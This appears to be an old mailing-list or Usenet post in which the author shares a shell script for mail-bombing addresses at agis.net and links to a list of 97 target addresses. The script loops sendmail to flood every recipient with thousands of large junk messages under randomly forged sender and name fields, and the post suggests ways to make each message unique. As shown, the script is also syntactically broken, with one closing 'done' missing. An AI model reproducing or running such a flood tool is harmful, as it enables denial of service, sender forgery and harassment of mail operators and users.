Here's a little script I wrote last night which sends complaints to them.
I used /dev/zero because my modem can compress it well; someone with a
better connection to the Net could use /dev/urandom in its place, thus
making the contents of each message unique. I also have a collection of
97 e-mail addresses at agis.net which were working on Friday. It's at
http://jpj.net/~trevor/please_ignore/freunden.txt . Unfortunately,
agisgate.agis.net, www.agis.net, alltel.net and the 205.199.2.2XX
addresses seem to be off the air right now.

#!/bin/sh
for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20;
do
for j in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20;
do
for k in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20;
do
mmencode /dev/zero|head -1000|sendmail -f `mmencode /dev/urandom|head -1`\
-F `mmencode /dev/urandom|head -1` `cat recipients`
sleep 20
done

done

The recipients file contains these apparently working addresses I found
yesterday evening.
